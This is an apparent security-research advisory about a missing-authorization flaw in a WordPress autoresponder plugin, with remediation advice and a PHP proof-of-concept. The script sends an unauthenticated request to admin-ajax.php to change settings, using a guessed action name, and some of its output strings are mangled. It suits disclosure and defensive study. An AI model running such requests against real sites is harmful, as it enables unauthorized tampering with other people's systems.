Atomic Edge analysis of CVE-2026-27362 (metadata-based):
The Bakery Autoresponder Addon plugin for WordPress contains a Missing Authorization vulnerability in versions up to and including 1.0.6. This flaw permits unauthenticated attackers to execute a privileged action intended only for authorized users. The CVSS score of 5.3 (Medium severity) reflects the network-based attack vector with low attack complexity and no user interaction required, leading to integrity impact but no confidentiality or availability loss.
Atomic Edge research identifies the root cause as a missing capability check on a plugin function. The CWE-862 classification confirms the absence of proper authorization verification before performing an action. Without access to the source code, this conclusion is inferred from the CWE and vulnerability description. The vulnerable function is likely an AJAX handler or a REST API endpoint callback that processes requests without validating the user’s capability (e.g., `current_user_can()`). The plugin fails to ensure the requesting user possesses the required permissions.
Exploitation involves sending a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin conventions, the attack vector is likely a POST request to the standard WordPress AJAX handler (`/wp-admin/admin-ajax.php`) with an `action` parameter corresponding to the plugin’s vulnerable function. The plugin slug `vc-autoresponder-addon` suggests the action name could be `vc_autoresponder_addon_action` or a similar derivative. An attacker would send a request with the necessary parameters to trigger the unauthorized action, such as modifying plugin settings or manipulating data.
Remediation requires adding a proper capability check before the vulnerable function executes. The fix should verify the current user has the appropriate permission, typically using `current_user_can(‘manage_options’)` or a plugin-specific capability. If the function is an AJAX handler for logged-in users, the `check_ajax_referer()` function with a nonce should also be implemented. For a public-facing function, the code must validate the request’s legitimacy through other means, such as a shared secret or a nonce available to unauthenticated users.
The impact of successful exploitation is unauthorized action execution. The exact nature of the action is unspecified, but based on the plugin’s purpose (autoresponder functionality), it could involve modifying email list settings, altering automated message content, or exporting subscriber data. This vulnerability compromises data integrity and could lead to unauthorized communication with a site’s user base. It does not directly enable remote code execution or sensitive data disclosure.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27362 - Bakery Autoresponder Addon <= 1.0.6 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-27362.
* This script demonstrates unauthenticated exploitation of the missing authorization
* vulnerability in the Bakery Autoresponder Addon plugin.
* ASSUMPTIONS: The vulnerable endpoint is the standard WordPress admin-ajax.php handler.
* The vulnerable AJAX action is derived from the plugin slug.
* The target action modifies plugin settings (example parameter: 'new_setting_value').
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// The AJAX action name is inferred from the plugin slug.
// Common patterns: '{plugin_slug}_action', '{plugin_slug}_update', 'vc_autoresponder_addon_save'.
$inferred_action = 'vc_autoresponder_addon_action';
// Example payload data. The actual parameters depend on the vulnerable function.
$post_data = array(
'action' => $inferred_action,
'setting_key' => 'example_setting',
'setting_value' => 'exploited_value'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Set a realistic User-Agent
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[*] Target: $target_urln";
echo "[*] Inferred AJAX action: $inferred_actionn";
echo "[*] HTTP Status: $http_coden";
echo "[*] Response:n$responsen";
// Check for success indicators
if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'updated') !== false)) {
echo "[+] Potential exploitation successful.n";
} else {
echo "[-] Exploitation may have failed or the inferred action is incorrect.n";
}
?>
